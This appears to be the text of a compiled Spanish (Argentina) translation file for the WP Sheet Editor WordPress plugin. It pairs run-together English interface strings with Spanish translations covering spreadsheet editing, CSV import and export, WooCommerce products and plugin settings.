                  You can read our documentation here.TitleTo search among all posts use the Search tool. Use this to locate and highlight one value in the loaded rows in the spreadsheet. I.e. highlight a SKU or email or title.Tools located above the table.Total salesTranslate separatelyTurn this on and the spreadsheet will save automatically all the changes made on the cells every 2 minutes. Careful, this might cause issues if the changes are saved prematurely before you finish editing all the required columns.TutorialTypeURLURL SlugUnfiltered HTMLUnselect allUnselect all columnsUpdate existing items, ignore new itemsUpdate existing value with the result of a math operation.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Update settingsUpdate the lookup table and run the WC Webhooks always?Upload imageUpload the fileUpload the filesUploaded by userUploaded to this itemUpsellsUsage statsUse an infinite list instead of paginationUse as featured imageUse defaultUse pagination in the spreadsheet?Use prices from simple product (parent) on the variationsUse separate columns for images during export and import?Use slower execution method?Use this editor to edit the content only, other fields like tags and categories should be edited on the spreadsheet.Used for Variations?Used for variation?User capabilities that can edit this columnUser capabilities that can read this columnUser dropdownUser not allowedUser not allowed to edit rowsUser rolesUser roles that can use the spreadsheet editorUsernameUsersUsing this tool you can update thousands of rows at onceValueValue in the replace section is not validVariation descriptionVariation enabled?Variation: %sVariations ManagerVariations dont use URL slugs but this can be useful if you want to see the previous URL of the variation after you converted a simple product into a variation.VendorViewView ExtensionsView GalleryView SpreadsheetView SpreadsheetsView extensionsView logVirtualVisibilityWP EditorWP Sheet EditorWP Sheet Editor UsageWPBakery Page BuilderWPML - DuplicateWPML - LanguageWPML - Missing translations in these languagesWPML - RelationshipWPML - Translation ofWPML - Translation priorityWarning: Please make a backup before copying variations in case you want to undo the changes later.Watch tutorialWe are saving now. Don't close this window until the process has finished.We automatically allow columns for variations if at least one variation is using that field.We automatically detected all the columns.We automatically round up to 2 decimals. You can enter any number here, for example, 1 to round to 1 decimalWe can scan the database, find new fields, and create columns automatically for the supported fields.We didn't find rows for the export. Please try another search query.We didn't find rows to update from the search query. Please try another search query.We don't have variations to copy.We find rows with the same value in the CSV Field and the WP Field.
                  I.e. Products with same SKU or ID.We found similar columns. Do you want to apply the same action to them? {columns}We have +200 tutorials and guides on our blogWe have an extension for displaying this spreadsheet on the frontend. You can select the columns to display, and select the spreadsheet tools for the frontend users (search, bulk, edit, import, export, etc.). For example:We import the file in batches (i.e. 4 rows every few seconds). When one batch fails, we normally pause the import and ask you if you want to retry or cancel the import. Select this option to auto retry. Careful, you need to select the option to update existing rows in step 3 of the import, so we can retry and skip what was imported successfully and only retry what failed, if you dont select the option to update in step 3 of the import, every retry might duplicate some previously imported rows.We limit the list of fields to 1000 meta fields to avoid memory leaks/performance issues. If you want to search by a field that does not appear in the dropdown, increase this number.We limit the spreadsheet columns for performance reasons to avoid loading thousands of columns on the spreadsheet. You can increase this limit if you want to display more columns. Default: 310We need to reload the Spreadsheet to remove the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We need to reload the spreadsheet rows to load the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We recommend that you create a message that looks like it was written personally, you should add your logo, message, and email signature. You can use variables to insert the value of any column.We show a popup asking you to install free extensions when we detect that you are using a third-party plugin that requires special compatibility, which helps us prevent errors.We use pagination to use few server resources. We load 20 rows first and load 20 more every time you scroll down. You can increase this number to load more rows per page. CAREFUL. Loading more than 200 rows per page might overload your server. If we detect that the server is overloaded we will automatically reset to 10 rows per page.We use pagination. By default we load 20 rows per page (every time you scroll down). You can increase the number to load more rows every time you scroll down.We will append the new file to the existing files in the products. Enter file URL only, you can enter multiple URLs separated by comma.We will append the new file(s) to the existing media file(s).We will create columns for these custom attributes.We will delete this meta field from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will delete this serialized field, which includes all its subfields, from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will display all the columns that were deleted or disabled, renamed columns will show the original titles, we will rescan the database to find columns again, and the speed/advanced settings will be reset to the defaults. This only affects settings of our plugin and it does not affect the data edited with the sheet.We will not execute our removal of duplicate rows when the line breaks are allowed, so you might see duplicate rows in the export files in rare cases.We will prepend the new file(s) to the existing media file(s).We will remove all the html tags by default. Activate this option to allow safe html tags, like b, span, i, etcWe will replace the existing media file with this file.We will replace the existing media file(s) with these file(s).We will replace the existing terms with these terms.We will save the current search query and export settings, and you can execute this export with one click in the future using the dropdown in the export menuWe will save these files. Existing files will be overwritten. Enter file URL only, you can enter multiple URLs separated by comma.We will save this group of columns as a spreadsheet view and you can switch between spreadsheets in the toolbarWe'll reload the spreadsheet when you change this option.We'll sort the rows in the spreadsheet by this field. We recommend you sort based on fields that have values in all the rows in order to get more accurate results. For example, it's better to sort 1k products by Title ASC because you know that all the rows will be sorted accurately, but if you sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the 500 rows without SKU could potentially have random order as we don't have any value to sort them accurately.WeeksWeightWelcome to WP Sheet EditorWhat app will you use to edit this file? (optional)What attribute do you want to edit?What cell format to use for the taxonomy columns?What columns do you want to export?What component do you need?What date format do you want to display in the spreadsheet?What date format do you want to save in the database?What date time format do you want to display in the spreadsheet?What field do you want to edit?What information do you want to edit on the frontend?What kind of posts require this column in the spreadsheet?What setting do you want to change?What value is saved when the checkbox is checked?What value is saved when the checkbox is unchecked?What's new on WP Sheet EditorWhen the sheet loads and saves post content, we run it through wpautop to prevent issues with line breaks. You can disable this if you dont want to see/save the p tags in the content.When the sheet loads, we open it in full screen and you have the option to exit the full screen mode. Activate this option and we wont open the sheet in full screen.When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the pageWhen this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page. You can enable / disable in the spreadsheet too.When this is enabled the products variations will be displayed and you will be able to edit them.When you delete posts, pages, events, products, orders, coupons, and other post types, you can select how many will be deleted on every batch. Use a higher number to finish faster. Default is 500When you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. But your server can't handle all the batches one after another so we need to wait a few seconds after every batch to give your server a little break. The recommended value is 6 seconds, you can adjust it as it works best for you. If you get errors when saving you should increase the number to give your server a longer break after each batchWhen you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. The recommended value is 4 , which means we will process only 4 posts at once. You can adjust it as it works best for you. If you get errors when saving you should lower the numberWhen you finish downloading the plugins, you need to go to wp-admin > plugins > add new and install them.When you finish this step you can start using the frontend editor. You can add the frontend page to a menu or share the link with your users.When you have 1000 posts , you might want to open the spreadsheet and start editing from post 200. This option lets you skip a lot of rows. IMPORTANT. We use the pagination, so we will display the page closest to that number. For example. If you load 10 rows per page and enter 1205 as offset, the sheet will start from page 120 (index 1200) because it is the page closest to the defined offset.When you import an image using FTP urls, the image is imported every time and you might end up with duplicates in the media library. Activate this option to reuse images in the media library with same file name and avoid downloading the FTP image again on future imports. Deactivate this option if you want to keep the images updated on future imports.When you load the spreadsheet, we get all the columns at once from the database to make it faster, this is called prefetch. This can cause issues if you have thousands of columns or rare database setups.When you open the spreadsheet, we load the rows automatically so you can start editing right away. Activate this option if you want to search rows and load manually.When you use WordPress multisite and you delete a user in the users spreadsheet, by default we only remove the user from the current site but the user remains in the network. Activate this option if you want to delete the user account from the entire networkWhich duplicates do you want to delete?Which rows do you want to export?Which variations do you want to copy?WidthWith our editor you will be able to edit all the information of
                  your %s saving you a lot of time.With these filesWith thisWith this fileWith this termWooCommerce - BASIC integrationWooCommerce - Products IntegrationWooCommerce CouponsWooCommerce Coupons SpreadsheetWooCommerce Customers SpreadsheetWooCommerce Orders SpreadsheetWooCommerce productsWordPress FieldWordPress fieldWordPress uses the heartbeat API to check the login status every few seconds. This can overload your server because it could make hundreds of requests when you are editing in the spreadsheet. You can disable it to reduce the stress on your server while editing in the sheet. However, if you keep the spreadsheet opened over multiple days your login session can expire and you wont be notified if you disable the heartbeat and this can cause issues while saving. So use this option only when you use the spreadsheet for a few hours only.Writing type not allowed.Wrong data formatWrong file extension. We accept CSV onlyWrong file urlWrong product type. Make sure it is a variable product.XYOAST SEOYearsYesYes, remove everything after the text, including the textYou are not allowed to do this action. Please reload the page or log in again.You can activate this option if you want to add html classes, and use those html classes to change the cell colors for each status using custom CSSYou can change the language of this post. If the translation for the new language exists, this change will not be applied.You can convert simple products into variable products. You can copy variations into a simple product and keep the prices from the simple product on the variations.You can create new items hereYou can do this multiple timesYou can edit your Media information like:You can edit your WooCommerce products information like:You can find all the settings here, like columns visibility, etc.You can read our FAQ with a list of hundreds of questionsYou can resize the editorYou can search by any field using operators. I.e. price > 100, image != (empty)You can select the rows for the edit in the first option of this form.You can start using the spreadsheet editor in just 5 minutes. Please follow these steps.You can use variables to insert the value of any column.You do not have permission to delete posts.You dont have enough permissions to create new rows.You dont have enough permissions to do this action.You dont have enough permissions to execute this action.You dont have enough permissions to load rows.You dont have enough permissions to save changes.You dont have enough permissions to search taxonomy terms.You dont have enough permissions to view this page.You entered an invalid formula. Please double check or contact us.You have modified posts. Please save the changes because we will refresh the spreadsheet.You have modified posts. Please save the changes because we will refresh the spreadsheet. Do you want to refresh now?You have modified rows. Please save the changes before removing columns from the spreadsheet.You must enter a file name in this field (not full path) and upload the file to the folder %sYou must enter the full hierarchy like parent > childYou need to configure your Google Maps API key to save the Google Maps columns. This is required by Advanced Custom Fields, you can follow this tutorialYou need to load the rows manually because you deactivated the automatic loading of rows. Change the settingsYou need to login to view this page.You need to set a logo in the settings page. Optionally you can change the background color, links color, and set a header menu.You selected 0 rows to be deleted completely.You selected a column from the CSV file below but the column is not
                  being imported. Please go to the previous step and select the column to be imported.
                  Hypothetical example, if you want to update existing products with same ID, you need to import the ID column otherwise we don't have the IDs to find them.You will be able to type numbers without formatting, for example: 999999.88 or 100, and we will automatically save them in the formatted way. This conversion will happen when you save and not live when you edit in the cells and you will see the modified values on the next spreadsheet reload.You will be able to type the post title in the cell and the cell will show a dropdown with suggestions.You will be able to type the term name in the cell and the cell will show a dropdown with suggestions.You will be able to type the username in the cell and the cell will show a dropdown with suggestions.Your server was not able to process this batch. Do you want to try again?Your server was not able to process this batch. Do you want to try again? You can retry 3 times, If 3 attempts fail we will stop the import completely.emptyis featured?orto{deleted} duplicates have been removed.{total_created} of {total} variations created.{updated} attributes have been merged.{updated} items saved of {total} items that need saving.Project-Id-Version: Report-Msgid-Bugs-To: PO-Revision-Date: 2023-07-19 13:16-0600 Last-Translator: Language-Team: Language: es_AR MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 3.3.1 (Puedes remover estos mensajes de ayuda en los ajustes avanzados) (Premium. Probar Gratis por 7 Días ) Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los archivos de exportación se borran automáticamente después de %d horas. Algunas columnas tienen el botón para cambiar el formato%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas actualizadas y {total_created} filas creadas.%s filas serán editadas.%s variaciones creadas.%s: Hojas de cálculo permitidas(Instalar extensión gratuita)(Extensión Pro)- -- Primero, edita un elemento en el editor normal y rellena todos los campos manualmente.- Si la solución anterior falló, puedes crear nuevas columnas manualmente.- Quizá eliminaste las columnas de la lista.- Podemos ayudarte.- Podemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente. Versión Lite. Mostrando todos los productos y todos los campos como columnas, 15 columnas son editables y el resto son sólo de lectura.
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, editar todos los campos en miles de productos a la vez.. Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de Trabajo. Agrega categorías hijas usando este formato: Padre > hija1 > hija2. Recomendamos que incrementes la memoria del servidor al menos hasta 256mb para prevenir errores del servidor. Tutorial...1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las primeras 5 filas del archivo.2. Por favor, haz una copia de seguridad antes de ejecutar la importación, para que puedas revertirla en caso de que hayas usado una configuración incorrecta o el archivo sea erróneo. La importación guardará la información directamente.Leer más.Editando el campo: {field_label}Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona.Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, hacer búsquedas avanzadas, ver toda la información en una página, y más.Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez sin colapsar tu servidor, ver toda la información de envío/facturación/buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho más. Descargar el Plugin Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de productos en una hoja de cálculo, realizar búsquedas avanzadas, editar cientos de variaciones a la vez, copiar variaciones a varios productos, etc. Descargar PluginConsejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes errores al guardar? Guardar menos filas por loteWP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas a la vez en nuestra hoja de cálculo. Abrir en una hoja de cálculo
                  Usar el cupón: %s

                  La exportación finalizó.

                  La descarga debería empezar automáticamente.

                  WP Sheet Editor

                  ¿Quieres instalar el plugin premium que compraste? Sigue estos pasos:

                  1. Si estabas usando la versión gratuita del plugin antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. Cuando compraste el plugin, recibiste un correo electrónico con el enlace de descarga y la clave de licencia.
                  3. ahora ve a esta página y haz clic en el botón "Subir plugin".
                  4. Sube el archivo zip del plugin.
                  5. Activa el plugin.
                  6. Verás una pantalla solicitándote la licencia. Ingresa la licencia.
                  7. Listo. Ahora deberías ver la página de bienvenida donde puedes configurar y comenzar a usar el plugin.

                  Si necesitas ayuda, puedes contactarnos

                  ¿Falta una columna?

                  o
                • El rol de administrador de tienda puede ver y editar productos WooCommerce.
                • Añadir una herramienta de "duplicar" a la hoja de cálculo. Puedes seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias.

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la hoja de cálculo automáticamente. Así que puedes editar campos personalizados fácilmente.

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para los mercados donde los vendedores deben editar los productos en la hoja de cálculo, permitir el envío de entradas o eventos en el frontend, directorios de eventos, aplicaciones web, tableros personalizados, etc.

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: Copiar el precio normal al precio de rebajado, actualizar los nombres de los atributos de los productos, etc.

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, "Precio normal x Precio de inventario / Precio rebajado

                  Editar el título, la descripción, la palabra clave y la puntuación de SEO en la hoja de cálculo

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo de productos, incluyendo Productos Variables, Productos Descargables, Productos Externos, Productos Simples. Puedes editar todos los campos de productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo perfiles básicos y realizar búsquedas básicas.

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de membresía, directorios de eventos, directorios de negocios, directorios de usuarios.

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos los post types personalizados.

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o campos personalizados.

                  Buscar en múltiples campos con operadores avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar productos de la categoría Audio con inventario < 20, o productos de la categoría Manzana sin imagen destacada, o productos que contengan la palabra clave "Google" y que no tengan galerías de imágenes.

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los clientes de WooCommerce, los comentarios de los eventos, los testimonios y las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas por cualquier campo (palabra clave, nota de pedido, estado, encontrar comentarios por post type, y todos los campos). Puedes editarlos masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas externos, importar comentarios y reseñas de otros sistemas, y más.

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. Importar. Eliminar filas en lotes. Y mucho más.

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y mucho más.

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y guardarlo para sesiones futuras.

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y autor.

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los campos de cupones. Búsqueda avanzada por cualquier campo. Generar automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. Y mucho más.

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. Crear descargas y archivos masivamente. Editar cientos de productos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más.

                  Ver todos los eventos del plugin The Events Calendar en una hoja de cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y mucho más.

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja de cálculo. Editar perfiles rápidamente. Ver y editar la información de facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. Exportar clientes a Excel o Google Sheets. Importar clientes desde aplicaciones externas.

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, productos, etc.). Exportar pedidos e información de clientes incluyendo clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca de medios de WordPress en una hoja de cálculo. Editar todos los campos de los archivos, incluyendo el texto alternativo, la leyenda, las descripciones de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de manera automática los textos alternativos, las leyendas, etc. usando el título o las categorías de las entradas principales. Actualizar miles de archivos a la vez. Y mucho más.

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la esquina de la celda a otras celdas, como lo haces en Excel.

                  Puedes crear columnas para campos personalizados.
                  Editar la configuración de la página añadida por el tema, los detalles del evento, la información de los productos, etc.

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar de mostrar "Autor" en la hoja de cálculo, puedes cambiarlo a "Subido por".

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de cálculo.

                  Editando el campo: {column_label}. Filas a procesar: {total}, Progreso: {progress_percentage}%%, Hemos actualizado {edited} filas.

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los ajustes de la edición masiva son correctos antes de ejecutar.

                  Completo

                  .

                  Extensiones gratuitas

                  Envía notificaciones por correo electrónico a los usuarios de forma masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/miembros de un foro/afiliados/comentaristas del blog por país, ciudad, estado, recuento de pedidos, etc., y enviarles correos electrónicos importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar la entrega de los correos electrónicos y tener en cuenta el consentimiento de los usuarios y las leyes de privacidad.

                  El guardado automático falló. Tus cambios no se guardaron completamente debido a un error. Puedes intentarlo de nuevo más tarde. Si el error persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta.

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana emergente. Ver los cambios masivos programados.

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado debido a un error.

                  Puedes cerrar esta ventana.

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. Ver los cambios programados.

                  Los cambios no se guardaron completamente. El proceso fue cancelado debido a un error .

                  Puedes cerrar esta ventana emergente.

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las exportaciones programadas.

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. Ver las importaciones programadas.

                  La importación ha terminado

                  Puedes cerrar esta ventana.

                  El proceso ha terminado

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y gestionar rápidamente tu sitio web de donaciones.

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, descripción, fecha, SKU, precio normal, precio rebajado, estado de inventario, gestión del inventario, cantidad de existencias.

                  Más columnas y tipos de producto disponibles como extensión premium.

                  ¿Merecemos 5 estrellas? Sí, lo merecen. . - . No¿Falta una columna?¿Falta una columna? Habilítala ¿Faltan campos? Haz clic aquíACF: ¿Mostrar las casillas de verificación como desplegados de selección múltiple?Aceptar posts de este post typeAceptar términos de esta taxonomíaAcciónActivar el modo de pantalla completaActiva esta opción para eliminar los botones de paginación y cargar las filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas al mismo tiempo, puedes cargar miles de filas sin problemas.Filtros activos:Activo.Añadir NuevoAgregar nuevas columnas a la hoja de cálculoAgregar Nueva Hoja de CálculoAgrega un nombre para este grupo de columnasAñadir una llamada a la acción o cualquier texto al principio o al final de tus postsAñadir columnas nuevas para campos personalizadosAgrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.¿Añadir clases html a las celdas " estado de la entrada " en función de sus valores?Añadir nuevoAñadir nueva columnaAñadir un nuevo post typeAgregar tiempo a las fechas existentesEl rol de administrador puede ver y editar todo.Advanced Custom FieldsBúsqueda AvanzadaAjustes AvanzadosModo avanzadoBúsqueda avanzadaConfiguración avanzadaTodas las Hojas de CálculoTodos los cambios fueron guardados.Se han guardado todos los elementos.Todas las funciones disponibles en la hoja de cálculo del backend pueden utilizarse en el frontend.Todos los parámetros se utilizarán para buscar variaciones en lugar de los productos principales.Todos los productos de la tiendaTodas las filas de mi lista actualTodos los productos variablesPermitirPermitir reservasPermitir saltos de línea en valores al exportar e importar?¿Permitir varios archivos por campo?¿Permitir varios posts por campo?¿Permitir varios términos por campo?Permitir HTML seguro en títulos de posts?¿Permitir editar esta columna en las filas de variaciones?¿Permitir editar usando fórmulas?¿Permitir ocultar la columna?¿Permitir ocultar esta columna en la página de ajustes?¿Permitir la importación de imágenes desde servidores FTP?¿Permitir renombrar la columna en la página de ajustes?¿Permitir renombrar la columna?¿Permitir ver el slug de la URL de la variación?¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier html en la columna de contenido del post?Permitir a los usuarios editar campos personalizados, añadir nuevas columnas al editor, habilitar campos, deshabilitar campos principales y ordenar los campos. Puedes personalizar completamente el editor frontend.Permite a tus clientes editar productos WooCommerce usando la hoja de cálculo sin tener que usar el escritorio de wp-adminPermite a los vendedores de tu mercado editar los productos masivamentePermite a los vendedores de tu mercado importar productos en el frontendPermite que tus lectores entreguen entradas del blog usando la hoja de cálculoPermite a los compradores de tu tienda descargar el catálogoPermite a los clientes de tu tienda realizar búsquedas avanzadas en el catálogo Permite a los empleados de tu tienda gestionar el inventario y los preciosPermite a tus visitantes publicar eventosPermitir, pero se avisará al clienteValores permitidosDescargadaTexto alternativo¿Ejecutar siempre la acción save_post después de editar cualquier fila de la entrada?Y más.Y ver vistas previas durante la ediciónCualquiera de estos valores (Ingresa múltiples valores separados por ;)Añadir al finalAplicación/SoftwareAplicar cambios masivamenteAplicar ajustes¿Seguro de que quieres borrar este post type? También borrarás los post en el post type¿Estás seguro de que quieres borrar esta columna?¿Estás seguro de que quieres eliminar esta vista de columnas?¿Estás seguro de que quieres eliminar esta tarea programada y todos sus archivos relacionados?¿Acoplar cada término de taxonomía de la jerarquía a los posts?Atributo %d por defectoAtributo %d globalNombre del atributo %dValor del/los atributo(s) %dAtributo %d visibleNombre del atributoValor(es) del atributoVisibilidad del atributoAtributosLos atributos aparecen como desplegables en la página del producto, donde el usuario puede seleccionar los colores, tamaños y cualquier atributo de la variación. Aquí se pueden definir las opciones por defecto seleccionadas en los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo funciona para Productos Variables y deben tener variaciones, de lo contrario los atributos por defecto no se guardarán.AutorEl rol de autor sólo puede ver y editar sus propios post y subir imágenes.Automático (por defecto)¿Reintentar automáticamente los lotes fallidos?Autocompletar las celdasAutomáticoComponentes disponiblesHojas de cálculo disponiblesHerramientas disponibles (opcional)Puntuación mediaBackend¿Permitir reservas?Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras actualizaciones.Búsqueda básicaPoner estas columnas en la lista negraMasivoEditor MasivoFunción de cambios masivosAcciones masivasEditar esta columna masivamenteCambio masivo no ejecutado. No se han encontrado elementos que cumplan los criterios.ComprarComprar el paquete¡Compra la extensión ahora!Por defecto, WordPress muestra una barra negra en la parte superior de la página cuando un usuario que ha iniciado sesión ve una página del frontend. La barra te permite acceder a wp-admin, cerrar sesión, editar la página actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar el código abreviado: [vg_display_logout_link] para mostrar el enlace de cierre de sesión.Por defecto, las fechas se muestran en un calendario, el contenido del post tiene una opción de editor de texto, las imágenes muestran una vista previa, etc. Puedes habilitar esta opción para que se muestre todo como texto sin formato y deshabilitar el formato elegante.Por defecto mostramos automáticamente columnas para todos los nuevos campos encontrados, así que cada vez que detectamos nuevos campos puedes verlos y editarlos inmediatamente. Pero esto puede "romper" tu orden de columnas o molestarte si has habilitado columnas específicas. Habilita esta opción para generar esas columnas pero dejarlas desactivadas para que puedas habilitarlas más tarde.Por defecto, mostramos comentarios en algunas columnas indicando el formato del valor o por qué están bloqueados. Por ejemplo, la columna de categorías muestra un consejo que indica que hay que separar los términos con una coma y cómo añadir categorías menores, las columnas de variaciones tienen un consejo que indica por qué están bloqueadas para los productos de los padres. Puedes activar esta opción para desactivar esos consejos.Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, programado, papelera. Sin embargo, algunos plugins registran estados personalizados: gestores de trabajos, comercio de madera. Habilita esta opción para mostrar todos los estados personalizados en la columna "status". CUIDADO. Mostraremos todos los estados de todos los post types en el desplegable porque es imposible saber el post type de cada estado al no poder separarlos. Haz esto sólo si eres un desarrollador.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los ID de los términos separados por comas.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los términos separados por comas.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y deshabilitar la lista infinita.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y desactivar la lista infinita.Por defecto, copiaremos todos los atributos y todas las variaciones y reemplazaremos las variaciones existentes. Puedes habilitar esta opción para copiar variaciones individuales y añadirlas a las variaciones existentes en el producto de destino.Por defecto, por razones de rendimiento, activamos los eventos de la API WC cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos de la API de WC cuando se edite cualquier campo, incluidos los campos no relacionados con WC.Por defecto, si el producto es variable, activamos la opción "Usar para variaciones" para ahorrarte tiempo y que puedas crear tus variaciones más rápido. Pero si prefieres activar esa opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, la columna "padre" muestra títulos y guarda utilizando títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. Esto es útil si tienes títulos duplicados y necesitas guardar el padre exacto por ID.Por defecto, el importador permite guardar imágenes usando URLs internas completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: ftp://user:password@host:port/path/to/image.png. Esto hará que la importación sea más lentaBy default, we create 100 copies per batchPor defecto, exportamos e importamos una columna llamada "Imágenes" con la imagen destacada y galería combinada. Habilita esta opción para exportar e importar una columna para la imagen destacada y una para la galería de imágenes.Por defecto, hacemos visibles los atributos en los productos cuando guardas cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si prefieres habilitar esta opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, sólo asignamos el último término de la jerarquía a las entradas porque WordPress las gestiona correctamente de forma automática. Pero si quieres asignar cada término a la entrada, incluyendo las categorías padre, habilita esta opción.Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí para ver previsualizaciones más grandes.Por defecto, eliminamos cualquier html inseguro de todas las columnas de la hoja de cálculo antes de guardar los valores. Puedes activar esta opción si quieres permitir a los superadministradores o administradores de WordPress añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala bajo tu propia responsabilidad.Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un campo de datos de la entrada (campos que no sean meta y taxonomías) por razones de rendimiento. Habilita esto si otros plugins no están detectando nuestros cambios o los webhooks no se están ejecutando.Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda avanzada, edición masiva, exportación, importación, etc), aunque estén deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar solo las 